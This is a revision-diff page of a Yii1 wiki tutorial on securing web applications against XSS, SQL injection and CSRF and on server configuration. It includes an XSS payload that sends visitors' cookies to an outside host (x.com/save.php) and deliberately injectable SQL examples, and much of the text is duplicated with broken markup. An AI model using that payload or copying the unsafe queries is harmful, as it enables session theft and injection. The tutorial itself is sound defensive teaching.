Difference between #15 and #18 of
How to write secure Yii1 applications

Changes

Title changed

How to write secure Yii1 applications

Category unchanged

How-tos

Yii version changed

1.1

Tags changed

authentication,security, authorization, authentication, XSS, SQL injection

Content changed

[...]
Validating a form with JavaScript has absolutely no impact on the security!
It should only be meant as a way to enhance the interface and its comfort of use.

The HTML restriction are the same. For instance, if a page has a form containing:
~~~
 
[

 
```
html] <input type="hidden" name="id" value="1" /> <input type="text" name="date" size="10" /> <select name="list"><option>1</option><option>2</option></select> ~~~```

The data received in the PHP application can contain anything.
[...]
The controller:

```php

<?php
// In the controller
[...]
The model:

```php

<?php
// In the model
[...]
This happens frequently for numeric IDs where you should use `(int)`.


```php

<?php
// insecure (see below for restrictions)
[...]
Here is a extract of a view. The page just shows a user profile.
~~~
 
[

 
```
html] < h2>Profile of <?php echo $user->name ?></h2> Other unfiltered and unsecure outputs: <a href="/posts?name=<?php echo $user->login ?>" title='<?php echo $user->name ?>'>See my posts</a> ~~~``` Now sWhy is this dangerous? Suppose the user's name is:     ```
 
Joe<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>  
```
Then everyone that consults this profile will send an HTTP request for an external image, and this request will contain data describing the visitor's cookies. This is an XSS attack.

PHP provides several functions that protect the output.
[...]
**If you want to print plain text in a HTML page, use `CHtml::encode()`.**
Here is an example:
~~~
 
[

 
```
html] <h2>Profile of <?php echo CHtml::encode($user->name) ?></h2> ~~~```

This function is in fact a wrapper on `htmlspecialchars()` with your application's characters set
[...]
in "The Definitive Guide to Yii".

 
```php
<li class="comments"> <?php $purifier = new CHtmlPurifier(); $purifier->options = array( 'HTML.Allowed', => 'p,a[href],b,i',
);
foreach (Comment::model()->findAll() as $comment) {
[...]
```

Allowing the user to enter HTML text can be useful, especially with Rich Text Editors like TinyMCE or
FcCkEditor, but you may alsoinstead **consider using templating languages**, like Markdown or wiki syntax. Regarding security, the benefit is that the application converts to HTML, so the risk of XSS is low. ```php
 
<div class="comment">
 
<?php
 
$md = new CMarkdownParser();
 
echo "<div>" . $md->transform($comment) . "</div>";
 
?>
 
</div>
 
```
 
 
##### To go further: * [HTML Purifier's doc](http://htmlpurifier.org/docs). The end-user documentation contains a few thematic tutorials, like ["Customize"](http://htmlpurifier.org/docs/enduser-customize.html). The [Configuration Reference](http://htmlpurifier.org/live/configdoc/plain.html) lists all the options you can use with [CHtml::Purifier](http://www.yiiframework.com/doc/api/1.1/CHtmlPurifier) but it lacks examples. * [CMarkdown](http://www.yiiframework.com/doc/api/1.1/CMarkdown/) and [CMarkdownParser](http://www.yiiframework.com/doc/api/1.1/CMarkdownParser/)
[...]
Here is an example of several cases in JavaScript and HTML:
~~~
 
[

 
```
html] <script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script> <a href="/search/<?php echo rawUrlEncode($query)) ?>">Escape url parts</a> <a href="/?param=<?php echo urlEncode($param) ?>">Escape URL parameters</a> <a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">Escape whole URLs</a> ~~~
 
 
`CHtml::encode()` cannot be used alone here because it could produce an invalid URL, for example with
 
 `$query = '?x="N & B"'`. But it cannot be removed since ampersands "&" have to be replaced by "&amp;amp;".
 
 
### CSS
 
 
Use [Html Purifier](http://htmlpurifier.org/).
 
See the section on "Rich text (HTML)".
 
 
### JavaScript
 
 
If you need to write from PHP to JavaScript, you should use the static methods of [CJavaScript](http://www.yiiframework.com/doc/api/1.1/CJavaScript).
 
 
 
```php 
<?php
 
$messages = array("Rock'n roll", 'Say "hello"');
 
$title = "D'accord";
 
Yii::app()->clientScript->registerScript('snippet', "
 
function displayMsg() {
 
var messages = " . CJavaScript::encode($messages) . ";
 
var title = '" . CJavaScript::quote($title) . "';
 
// ...
 
}
 
");
 
```
 
 
There is a special case where you do not want Yii to quote a string that is already valid in JS.
 
In this case, you have to prefix your string with "js:", the prefix will be removed and the rest will be unchanged.
 
 
 
```php 
<?php
 
$this->widget(
 
'zii.widgets.jui.CJuiAutoComplete',
 
array(
 
'name' => 'field_name', // Yii applies CJavaScript::quote to each value
 
'source' => 'js:function(request, response) { $.ajax({...}) }', // "js:" before the JS code
 
```
 
 
 
## SQL Injections
 
 
### How it works
 
 
When some user data is put unfiltered in a SQL query, it allows a malicious user
 
to send its own SQL in the query.
 
 
 
```php
```
 
 
`CHtml::encode()` cannot be used alone here because it could produce an invalid URL, for example with
 
 `$query = '?x="N & B"'`. But it cannot be removed since ampersands "&" have to be replaced by "&amp;amp;".
 
 
### CSS
 
 
Use [Html Purifier](http://htmlpurifier.org/).
 
See the section on "Rich text (HTML)".
 
 
### JavaScript
 
 
If you need to write from PHP to JavaScript, you should use the static methods of [CJavaScript](http://www.yiiframework.com/doc/api/1.1/CJavaScript).
 
 
```php
 
<?php
 
$messages = array("Rock'n roll", 'Say "hello"');
 
$title = "D'accord";
 
Yii::app()->clientScript->registerScript('snippet', "
 
function displayMsg() {
 
var messages = " . CJavaScript::encode($messages) . ";
 
var title = '" . CJavaScript::quote($title) . "';
 
// ...
 
}
 
");
 
```
 
 
There is a special case where you do not want Yii to quote a string that is already valid in JS.
 
In this case, you have to prefix your string with "js:", the prefix will be removed and the rest will be unchanged.
 
 
```php
 
<?php
 
$this->widget(
 
'zii.widgets.jui.CJuiAutoComplete',
 
array(
 
'name' => 'field_name', // Yii applies CJavaScript::quote to each value
 
'source' => 'js:function(request, response) { $.ajax({...}) }', // "js:" before the JS code
 
```
 
 
 
## SQL Injections
 
 
### How it works
 
 
When some user data is put unfiltered in a SQL query, it allows a malicious user
 
to send its own SQL in the query.
 
 
```php

<?php
// warning, dangerous code
[...]
Instead of the code of the example above, what follows is far more secure:

```php

<?php
// still lacks validation (see "Validating user input" above), but more secure
[...]
For most DB functions, **prefer array parameters to string parameters**.
Here is another example using PHP arrays:

```php

<?php
// warning: potential sql injection
[...]
The are still cases where writing raw SQL is needed.
Consider a simple query that has 2 parameters:
~~~
 
[sql]
 
SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date
 
  FROM t_comment
 
  WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'
 
~~~
 
 
There are 2 ways to secure this:
 
 
1. Escape each parameter (not recommended).
 
2. Use a prepared statement (recommended).
 
 
If you really want to escape each parameter, you can use [CDbConnection::quoteValue()].
 
For example, `"date > '{$date}'"` would become `"date > " . Yii::app()->db->quoteValue($date)`.
 
 
Prepared statements is a way to declare parameters in your SQL.
 
Depending on your configuration, the incomplete query will be compiled by the SQL server,
 
then the values will be inserted at the right places (the actual behavior may vary because this process could be emulated from PHP, especially if the SQL engine doesn't allow it).
 
**Prepared statements removes any risk of SQL injection in the parameters.**
 
(Yet, beware, not everything is a parameter).
 
 
There are two ways to write this in Yii:
 
 
```php 
<?php
 
// Note the parameters are written :param without surrounding quotes
 
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "
 
. "FROM t_comment "
 
. "WHERE (date > :date OR date IS NULL) AND title LIKE :text"
 
 
// 1st way, using explicit binds
 
$command = Yii::app()->db->createCommand($sql);
 
$command->bindParam(":date", $date, PDO::PARAM_STR);
 
$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);
 
$results = $command->execute();
 
 
// second way
 
$command = Yii::app()->db->createCommand($sql);
 
$results = $command->execute(array(':date' => $date, ':text' => "%{$text}%"));
 
```
 
 
The first syntax with explicit bindings is a bit heavier, but it has the advantage of defining the parameter's type.
 
 
When retrieving models from the DB, the syntax is simple:
 
 
```php 
<?php
 
$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));
 
```
 
 
If you don't feel at ease with the Yii way to query databases, please read the whole tutorial [Working with Databases](http://www.yiiframework.com/doc/guide/1.1/en/database.overview) in "The Definitive Guide to Yii".
 
The section [Database Access Objects](http://www.yiiframework.com/doc/guide/1.1/en/database.dao) has more details on binding parameters.
 
 
##### Side note on LIKE conditions
 
 
Even if no SQL injection in possible in the previous queries, there is still room for improvement.
 
The SQL function `LIKE` has a special treatment for the characters "_" and "%".
 
In many cases, this is not a problem, with mostly unexpected results.
 
But if the data queried is huge, then transforming a `"begin%"` condition into `"%s%a%"` condition can make the query so heavy that it slows the SQL server, because no index can be used for the later.
 
So **you should protect the characters "%" and "_"** when the user input is going into a LIKE condition, for example with `str_replace()`.
 
See further for example of how [CDbCriteria::compare()] or [CDbCriteria::addSearchCondition()] can simplify this.
 
 
##### Side note on positional parameters
 
 
As of now (Yii 1.1.8), the framework does not recognized *positional parameters* marked with "?".
 
You have to used *named parameters* whose names begin with ":".
 
 
##### Side note on performance
 
 
A lone prepared statement is a bit slower than a non prepared one.
 
This is probably *not* a performance bottleneck for your application.
 
But if you want to run several times the same query with variable bound parameters, then the prepared statements will be faster.
 
Of course, none of this does apply when PHP emulates preparation.
 
 
#### When prepared statements aren't enough
 
 
As written above, prepared statements remove any risk of SQL injection in the parameters.
 
Alas, there will be times when you need to use variables for parts of the SQL query that cannot use prepared statements.
 
~~~
 
[sql]
 
SELECT *
 
  FROM {$mytable}
 
  WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date}
 
  ORDER BY {$myfield}
 
  LIMIT {$mylimit}
 
~~~
 
 
The traditional way to solve this problem in pure PHP is to have white-lists of accepted values for each part.
 
But Yii provide several ways to help.
 
The first one is that Yii knows your DB schema, so you can write:
 
 
```php 
<?php
 
if (!Comment::model()->hasAttribute($myfield)) {
 
die("Error");
 
}
 
```
 
 
A very specific solution to build a secure SQL query is to use the "Query Builder", available since Yii 1.1.6.
 
This is a way to write a complete SQL query in pure PHP, but it cannot be mixed with other approaches (raw SQL, CDbCriteria, etc).
 
See the section [Query Builder](http://www.yiiframework.com/doc/guide/1.1/en/database.query-builder) in "The Definitive Guide to Yii".
 
 
Most of the time, your expected result is to be parsed as models, so you can use `find*()` methods with [CDbCriteria] to build a more secure query.
 
For example:
 
 
```php 
<?php
 
// Yii applies some validity checks when the query is not raw SQL
 
$criteria = new CDbCriteria(
 
    array(
 
        'order' => $myfield,
 
        'limit' => $mylimit,
 
    )
 
);
 
$criteria->compare($myfield, $value, true); // LIKE % escaped($value) %
 
$criteria->compare('post_date', '<:date');
 
$criteria->params = array(':value' => $value, ':date' => $date);
 
$comments = Comment::model()->findAll($criteria)
 
```
 
 
This is especially useful if you intend to use [CGridView] which is what Gii (the official scaffolding tool) suggests.
 
[CGridView] expects a [CDataProvider] which uses [CDbCriteria], so you don't have to pay too much attention to the user search input.
 
 
To be complete, here is another syntax for the previous example:
 
 
```php 
<?php
 
// Yii applies some validity checks when the query is not raw SQL
 
$criteria = new CDbCriteria();
 
$criteria->order = $myfield;
 
$criteria->limit = $mylimit;
 
$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%'
 
$criteria->addCondition("post_date < :date");
 
$comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date));
 
```
 
 
### Summary on SQL injection
 
 
In the following lists, the firsts choices are the easiest to secure,
 
but it doesn't mean the last items are not secure.
 
 
* When results are models, chose the first element of the list that matches your needs:
 
    1. [CActiveRecord::findByPk()] or [CActiveRecord::findAllByPk()]
 
    2. [CActiveRecord::findByAttributes()] or [CActiveRecord::findAllByAttributes()]
 
    3. `X::model()->find($criteria, array(':param1' => $value1))` or `->findAll(...)`
 
    4. `X::model()->find($sql, array(':param1' => $value1))` or `->findAll(...)`
 
    5. `X::model()->findBySql($sql, array(':param1' => $value1))` or `->findAll(...)`
 
 
* When results are not model, use prepared statements:
 
 
```php 
<?php
 
$r = Yii::app()->db
 
    ->createCommand($sql)
 
    ->queryAll(array(':param1' => $value1));
 
```
 
 
And don't forget to validate the input before this!
 
 
 
## Cross-site Request Forgery (CSRF)
 
 
See [The Definitive Guide to Yii, CSRF](http://www.yiiframework.com/doc/guide/1.1/en/topics.security#cross-site-scripting-prevention).
 
 
Please note that HTTP requests that modify the server state (create, update, delete) should be with the POST protocol.
 
This is a good practice, as recommended by REST, and it helps web browser to prevent accidental re-send of these requests.
 
But a POST request in itself does not prevent CSRF, it provides almost no improvement on security.
 
Fortunately, Yii has a mechanism (disabled by default) that can be used to protect them from forgery.
 
 
 
## Configure the web server
 
 
This section will only consider a UNIX (Linux, BSD, OSX) web server Apache with PHP as a module.
 
Other configurations (Windows, nginx, PHP-fpm, etc) may require different settings, though the principles are the same.
 
 
### Set up different environments
 
 
When Yii runs with the constant `YII_DEBUG` set to true, it can show valuable information to an attacker
 
(setting aside the performance penalty).
 
For instance, suppose an attacker finds a validation miss in your application:
 
when a form is spoofed to send an array value in a field, a PHP function will receive incorrect parameters.
 
In debug mode, Yii will then print the call stack, with the context of each call made in user code.
 
 
Unfortunately, by default the debug mode is set up in the `index.php` file of your application.
 
So the code has to be changed when running a development, a testing or a production instance.
 
One solution can be to use a DVCS to track local changes and rebase them (fast-forward in git jargon).
 
The drawback is that the various configurations are handled locally, in several branches.
 
 
The recommended solution is to rewrite the `index.php` file so that it reads the debug configuration:
 
 
* from an external file,
 
* or from the web server environment.
 
 
Apache can set environment variables with the syntax
 
 
    SetEnv YII_ENV testing
 
 
This can be set in the global configuration files (in a VirtualHost or Directory),
 
or in a `.htaccess` file.
 
Then PHP can access this variable through `$_SERVER["YII_ENV"]`
 
and default to "production mode" if it isn't set.
 
 
### For a Yii application
 
 
**The directory containing the framework should not be under the document root of your server** (there is no reason a user could access to files like "yiilite.php" in its web browser).
 
 
**Three directories must be writable** by the web server: "assets", "protected/data" and "protected/runtime".
 
**The web server should only have read access to everything else.**
 
This way, an attacker could only create/modify a file in these directories.
 
The folder "assets" is especially dangerous since it is writable, and there is a direct HTTP access to it.
 
Therefore, the PHP files it contains should not be interpreted but treated as plain text (see the example below).
 
 
Yii's default application have ".htaccess" files to forbid direct web access to "protected/" and "themes/classic/views/".
 
It is a bit safer (and faster) to put this configuration in the global configuration of Apache.
 
Here is an example that also disables PHP files in "assets/".
 
~~~
 
[apache]
 
# Example config for Yii-myapp and Apache
 
# Please set the pathes to their right values
 
 
# put the application in some custom url
 
# (instead of an Apache alias, a symbolic link can be used)
 
Alias /web/path/for/myapp "/home/myapp/www"
 
 
<Directory "/home/myapp/www">
 
AllowOverride None
 
</Directory>
 
 
<Directory "/home/myapp/www/protected">
 
Deny from All
 
</Directory>
 
 
<Directory "/home/myapp/www/assets">
 
php_admin_flag engine off
 
Options -Indexes
 
</Directory>
 
~~~
 
 
Instead of the previous configuration, here is an example of putting a Yii application in a Virtual Host.
 
 
~~~
 
[apache]
 
# Example config for Yii-myapp as an Apache VirtualHost
 
# Please set the pathes to their right values
 
 
<VirtualHost *:80>
 
ServerName myapp.com
 
DocumentRootAlias /home/myapp/www
 
 
ErrorLog /var/log/apache2/myapp-error.log
 
CustomLog /var/log/apache2/myapp-access.log common
 
 
<Directory "/home/myapp/www">
 
AllowOverride None
 
php_flag register_globals Off
 
php_flag gpc_magic_quotes Off
 
 
# <IfModule mod_rewrite.c>
 
# # The following block is for masking "index.php" in the url
 
# # We also need to configure the app: urlManager.showScriptName = false
 
# Options +FollowSymLinks
 
# IndexIgnore */*
 
# RewriteEngine on
 
# RewriteCond %{REQUEST_FILENAME} !-f
 
# RewriteCond %{REQUEST_FILENAME} !-d
 
# RewriteRule . index.php
 
# </IfModule>
 
</Directory>
 
 
<Directory "/home/myapp/www/protected">
 
Deny from All
 
</Directory>
 
 
<Directory "/home/myapp/www/assets">
 
php_admin_flag engine off
 
Options -Indexes
 
</Directory>
 
</VirtualHost>
 
~~~
 
 
### For every PHP project
 
 
A few useful directives:
 
 
| Directive | Comment |
 
|-----------|---------|
 
| `allow_url_include` | Should be off (PHP 5.2). |
 
| `register_globals` | This is obsolete and dangerous. **Should be off.** |
 
| `magic_quotes_gpc` | Important for many PHP applications, but Yii negates its effect. **Should be off.** |
 
| `open_basedir` | Can restrict PHP to access only some directories. Use with caution. |
 
| `display_errors` | Should be off in production. |
 
| `error_reporting` | Should always include at least `E_ERRORS`. See the [official documentation](http://php.net/manual/en/errorfunc.configuration.php#ini.error-reporting). |
 
 
This directives can be set in the global "php.ini" file.
 
If Apache has `AllowOverride Options`, then ".htaccess" can be used.
 
~~~
 
[apache]
 
# .htaccess file
 
php_flag display_errors off
 
php_value error_reporting -1
 
~~~
 
 
One can also use `php_admin_flag` and `php_admin_flag` to set config parameters that can't be changed dynamically with ".htaccess" or `ini_set()`.
 
Here is an example in an Apache config file.
 
~~~
 
[apache]
 
# Apache config file
 
<Directory "/var/www/myapp">
 
php_admin_value open_basedir /var/www/myapp/:/tmp/
 
</Directory>
 
~~~
 
 
SSL is out of the scope of this wiki page.
 
 
 
## Authorization
 
 
Authorization is ensuring users only have access to the resources they have permissions on.
 
This is a lengthy subject, and Yii provides many useful classes to handle permissions and roles.
 
To learn about this, please read *The Definitive Guide to Yii* from 
 
[Access Control Filter](http://www.yiiframework.com/doc/guide/1.1/en/topics.auth#access-control-filter)
 
to
 
[Using Business Rules](http://www.yiiframework.com/doc/guide/1.1/en/topics.auth#using-default-roles).
 
 
Another useful resource is in the wiki: [Getting to Understand Hierarchical RBAC Scheme](http://www.yiiframework.com/wiki/136/getting-to-understand-hierarchical-rbac-scheme). For a more practical but limited case, see [CPhpAuthManager - how it works](http://www.yiiframework.com/wiki/253/cphpauthmanager-how-it-works-and-when-to-use-it/).
 
 
There are also [several](http://www.yiiframework.com/extension/rights/) [extensions](http://www.yiiframework.com/extension/rbam/) [that](http://www.yiiframework.com/extension/srbac/) can help you to set up the authorization system of your application.
 
 
 
## Authentication
 
 
### Password strength
 
 
The validation rule must reject any weak password.
 
Writing its own validation method is easy: just require a minimum size, and check that different classes of characters are present.
 
You can also use a ready-made solution, the extension [epasswordstrength](http://www.yiiframework.com/extension/epasswordstrength).
 
 
 
```php 
<?php
 
class User extends CActiveRecord
 
{
 
public function rules()
 
{
 
return array(
 
array('password', 'checkPasswordStrength'),
 
);
 
}
 

 
protected function checkPasswordStrength($attribute, $params)
 
{
 
$password = $this->$attribute;
 
$valid = true;
 
$valid = $valid && preg_match('/[0-9]/', $password); // digit
 
$valid = $valid && preg_match('/\W/', $password); // non-alphanum
 
// ... other rules ...
 
$valid = $valid && (strlen($password) > 7); // min size
 
if ($valid) {
 
return true;
 
} else {
 
$this->addError($attribute, "Not secure enough");
 
return false;
 
}
 
}
 
```
 
 
Providing a client-side validation in JavaScript can be useful, since the user will know immediately if its password is secure. But don't forget this must not replace the validation in PHP. In fact, it makes validation a bit harder because your PHP validation must be the same as your JS validation. To be precise, it can be weaker than the JS, but it has to follow similar criteria.
 
There is also an extension for this, [estrongpassword](http://www.yiiframework.com/extension/estrongpassword).
 
 
### Encrypting passwords
 
 
This section considers only internal authentication, i.e. through passwords managed by the application.
 
It does not consider LDAP, SSO, OpenID, or any other external service.
 
 
If the authentication process is internal, then of course you shouldn't store the passwords in plain text.
 
The easiest solution for encryption is to use the well-known library [PHPass](http://www.openwall.com/phpass/).
 
With Yii, it can be as simple as the following "User" model:
 
 
```php 
<?php
 
// autoload "protected/lib/PasswordHash.php"
 
Yii::import('application.lib.PasswordHash');
 
 
class User extends CActiveRecord
 
{
 
public function validatePassword($password) // $password is the user input
 
{
 
// Try to use stronger but system-specific hashes, with a possible fallback to
 
// the weaker portable hashes.
 
$hasher = new PasswordHash(8, FALSE);
 
return $hasher->checkPassword($password, $this->password);
 
}
 
 
public function beforeSave()
 
{
 
// Replace the raw password with the hashed one
 
if (isset($this->password)) {
 
$hasher = new PasswordHash(8, FALSE);
 
$this->password = $hasher->HashPassword($this->password);
 
}
 
return parent::beforeSave();
 
}
 
```
 
 
What the library PHPass does is applying random salting, choosing the best encrypting algorithm available, iterating it a high number of times... Nothing really hard to code by oneself, but why reinvent the wheel. And the author is a security expert, he wrote the famous "john the ripper" password-cracking tool (the successor of Jack the ripper ;). If you want to know more on passwords, the home page of the library contains links toward technical articles and a few advanced recommendations.

 
```sql
 
SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date
 
  FROM t_comment
 
  WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'
 
```
 
 
There are 2 ways to secure this:
 
 
1. Escape each parameter (not recommended).
 
2. Use a prepared statement (recommended).
 
 
If you really want to escape each parameter, you can use [CDbConnection::quoteValue()].
 
For example, `"date > '{$date}'"` would become `"date > " . Yii::app()->db->quoteValue($date)`.
 
 
Prepared statements is a way to declare parameters in your SQL.
 
Depending on your configuration, the incomplete query will be compiled by the SQL server,
 
then the values will be inserted at the right places (the actual behavior may vary because this process could be emulated from PHP, especially if the SQL engine doesn't allow it).
 
**Prepared statements removes any risk of SQL injection in the parameters.**
 
(Yet, beware, not everything is a parameter).
 
 
There are two ways to write this in Yii:
 
 
```php
 
<?php
 
// Note the parameters are written :param without surrounding quotes
 
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "
 
. "FROM t_comment "
 
. "WHERE (date > :date OR date IS NULL) AND title LIKE :text"
 
 
// 1st way, using explicit binds
 
$command = Yii::app()->db->createCommand($sql);
 
$command->bindParam(":date", $date, PDO::PARAM_STR);
 
$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);
 
$results = $command->execute();
 
 
// second way
 
$command = Yii::app()->db->createCommand($sql);
 
$results = $command->execute(array(':date' => $date, ':text' => "%{$text}%"));
 
```
 
 
The first syntax with explicit bindings is a bit heavier, but it has the advantage of defining the parameter's type.
 
 
When retrieving models from the DB, the syntax is simple:
 
 
```php
 
<?php
 
$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));
 
```
 
 
If you don't feel at ease with the Yii way to query databases, please read the whole tutorial [Working with Databases](http://www.yiiframework.com/doc/guide/1.1/en/database.overview) in "The Definitive Guide to Yii".
 
The section [Database Access Objects](http://www.yiiframework.com/doc/guide/1.1/en/database.dao) has more details on binding parameters.
 
 
##### Side note on LIKE conditions
 
 
Even if no SQL injection in possible in the previous queries, there is still room for improvement.
 
The SQL function `LIKE` has a special treatment for the characters `_` and `%`.
 
In many cases, this is not a problem, with mostly unexpected results.
 
But if the data queried is huge, then transforming a `"begin%"` condition into `"%s%a%"` condition can make the query so heavy that it slows the SQL server, because no index can be used for the later.
 
So **you should protect the characters `%` and `_`** when the user input is going into a LIKE condition, for example with `str_replace()`.
 
See further for example of how [CDbCriteria::compare()] or [CDbCriteria::addSearchCondition()] can simplify this.
 
 
##### Side note on positional parameters
 
 
As of now (Yii 1.1.8), the framework does not recognized *positional parameters* marked with `?`.
 
You have to used *named parameters* whose names begin with `:`.
 
 
##### Side note on performance
 
 
A lone prepared statement is a bit slower than a non prepared one.
 
This is probably *not* a performance bottleneck for your application.
 
But if you want to run several times the same query with variable bound parameters, then the prepared statements will be faster.
 
Of course, none of this does apply when PHP emulates preparation.
 
 
#### When prepared statements aren't enough
 
 
As written above, prepared statements remove any risk of SQL injection in the parameters.
 
Alas, there will be times when you need to use variables for parts of the SQL query that cannot use prepared statements.
 
 
```sql
 
SELECT *
 
  FROM {$mytable}
 
  WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date}
 
  ORDER BY {$myfield}
 
  LIMIT {$mylimit}
 
```
 
 
The traditional way to solve this problem in pure PHP is to have white-lists of accepted values for each part.
 
But Yii provide several ways to help.
 
The first one is that Yii knows your DB schema, so you can write:
 
 
```php
 
<?php
 
if (!Comment::model()->hasAttribute($myfield)) {
 
die("Error");
 
}
 
```
 
 
A very specific solution to build a secure SQL query is to use the "Query Builder", available since Yii 1.1.6.
 
This is a way to write a complete SQL query in pure PHP, but it cannot be mixed with other approaches (raw SQL, CDbCriteria, etc).
 
See the section [Query Builder](http://www.yiiframework.com/doc/guide/1.1/en/database.query-builder) in "The Definitive Guide to Yii".
 
 
Most of the time, your expected result is to be parsed as models, so you can use `find*()` methods with [CDbCriteria] to build a more secure query.
 
For example:
 
 
```php
 
<?php
 
// Yii applies some validity checks when the query is not raw SQL
 
$criteria = new CDbCriteria(
 
    array(
 
        'order' => $myfield,
 
        'limit' => $mylimit,
 
    )
 
);
 
$criteria->compare($myfield, $value, true); // LIKE % escaped($value) %
 
$criteria->compare('post_date', '<:date');
 
$criteria->params = array(':value' => $value, ':date' => $date);
 
$comments = Comment::model()->findAll($criteria)
 
```
 
 
This is especially useful if you intend to use [CGridView] which is what Gii (the official scaffolding tool) suggests.
 
[CGridView] expects a [CDataProvider] which uses [CDbCriteria], so you don't have to pay too much attention to the user search input.
 
 
To be complete, here is another syntax for the previous example:
 
 
```php
 
<?php
 
// Yii applies some validity checks when the query is not raw SQL
 
$criteria = new CDbCriteria();
 
$criteria->order = $myfield;
 
$criteria->limit = $mylimit;
 
$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%'
 
$criteria->addCondition("post_date < :date");
 
$comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date));
 
```
 
 
### Summary on SQL injection
 
 
In the following lists, the firsts choices are the easiest to secure,
 
but it doesn't mean the last items are not secure.
 
 
- When results are models, chose the first element of the list that matches your needs:
 
    1. [CActiveRecord::findByPk()] or [CActiveRecord::findAllByPk()]
 
    2. [CActiveRecord::findByAttributes()] or [CActiveRecord::findAllByAttributes()]
 
    3. `X::model()->find($criteria, array(':param1' => $value1))` or `->findAll(...)`
 
    4. `X::model()->find($sql, array(':param1' => $value1))` or `->findAll(...)`
 
    5. `X::model()->findBySql($sql, array(':param1' => $value1))` or `->findAll(...)`
 
 
- When results are not model, use prepared statements:
 
 
```php
 
<?php
 
$r = Yii::app()->db
 
    ->createCommand($sql)
 
    ->queryAll(array(':param1' => $value1));
 
```
 
 
And don't forget to validate the input before this!
 
 
 
## Cross-site Request Forgery (CSRF)
 
 
See [The Definitive Guide to Yii, CSRF](http://www.yiiframework.com/doc/guide/1.1/en/topics.security#cross-site-scripting-prevention).
 
 
Please note that HTTP requests that modify the server state (create, update, delete) should be with the POST protocol.
 
This is a good practice, as recommended by REST, and it helps web browser to prevent accidental re-send of these requests.
 
But a POST request in itself does not prevent CSRF, it provides almost no improvement on security.
 
Fortunately, Yii has a mechanism (disabled by default) that can be used to protect them from forgery.
 
 
 
## Configure the web server
 
 
This section will only consider a UNIX (Linux, BSD, OSX) web server Apache with PHP as a module.
 
Other configurations (Windows, nginx, PHP-fpm, etc) may require different settings, though the principles are the same.
 
 
### Set up different environments
 
 
When Yii runs with the constant `YII_DEBUG` set to true, it can show valuable information to an attacker
 
(setting aside the performance penalty).
 
For instance, suppose an attacker finds a validation miss in your application:
 
when a form is spoofed to send an array value in a field, a PHP function will receive incorrect parameters.
 
In debug mode, Yii will then print the call stack, with the context of each call made in user code.
 
 
Unfortunately, by default the debug mode is set up in the `index.php` file of your application.
 
So the code has to be changed when running a development, a testing or a production instance.
 
One solution can be to use a DVCS to track local changes and rebase them (fast-forward in git jargon).
 
The drawback is that the various configurations are handled locally, in several branches.
 
 
The recommended solution is to rewrite the `index.php` file so that it reads the debug configuration:
 
 
* from an external file,
 
* or from the web server environment.
 
 
Apache can set environment variables with the syntax
 
 
    SetEnv YII_ENV testing
 
 
This can be set in the global configuration files (in a VirtualHost or Directory),
 
or in a `.htaccess` file.
 
Then PHP can access this variable through `$_SERVER["YII_ENV"]`
 
and default to "production mode" if it isn't set.
 
 
### For a Yii application
 
 
**The directory containing the framework should not be under the document root of your server** (there is no reason a user could access to files like "yiilite.php" in its web browser).
 
 
**Three directories must be writable** by the web server: "assets", "protected/data" and "protected/runtime".
 
**The web server should only have read access to everything else.**
 
This way, an attacker could only create/modify a file in these directories.
 
The folder "assets" is especially dangerous since it is writable, and there is a direct HTTP access to it.
 
Therefore, the PHP files it contains should not be interpreted but treated as plain text (see the example below).
 
 
Yii's default application have ".htaccess" files to forbid direct web access to "protected/" and "themes/classic/views/".
 
It is a bit safer (and faster) to put this configuration in the global configuration of Apache.
 
Here is an example that also disables PHP files in "assets/".
 
 
```apache
 
# Example config for Yii-myapp and Apache
 
# Please set the pathes to their right values
 
 
# put the application in some custom url
 
# (instead of an Apache alias, a symbolic link can be used)
 
Alias /web/path/for/myapp "/home/myapp/www"
 
 
<Directory "/home/myapp/www">
 
AllowOverride None
 
</Directory>
 
 
<Directory "/home/myapp/www/protected">
 
Deny from All
 
</Directory>
 
 
<Directory "/home/myapp/www/assets">
 
php_admin_flag engine off
 
Options -Indexes
 
</Directory>
 
```
 
 
Instead of the previous configuration, here is an example of putting a Yii application in a Virtual Host. Each securing directive has an explaining comment.
 
 
```apache
 
# Example config for Yii-myapp as an Apache VirtualHost
 
# Please set the paths and the host name to their right values
 
 
<VirtualHost *:80>
 
ServerName myapp.com
 
DocumentRootAlias /home/myapp/www
 
 
ErrorLog /var/log/apache2/myapp-error.log
 
CustomLog /var/log/apache2/myapp-access.log common
 
 
<Directory "/home/myapp/www">
 
Options +FollowSymLinks
 
# These 2 lines are useless with modern PHP
 
php_flag register_globals Off
 
php_flag gpc_magic_quotes Off
 
# Forbid .htaccess to change settings
 
AllowOverride None
 
 
<IfModule mod_rewrite.c>
 
# The following block is for masking "index.php" in the url
 
# To enable it, configure the app: urlManager.showScriptName = false
 
IndexIgnore */*
 
RewriteEngine on
 
RewriteCond %{REQUEST_FILENAME} !-f
 
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule . index.php
 
</IfModule>
 
</Directory>
 
 
# Forbid direct access to this directory
 
<Directory "/home/myapp/www/protected">
 
Deny from All
 
</Directory>
 
 
# protect several non-PHP directories
 
<DirectoryMatch "/home/myapp/www/(assets|css|images|js)$">
 
# Forbid execution of PHP scripts
 
php_admin_flag engine off
 
# Forbid listing of files
 
Options -Indexes
 
</DirectoryMatch>
 
</VirtualHost>
 
```
 
 
### For every PHP project
 
 
A few useful directives:
 
 
| Directive | Comment |
 
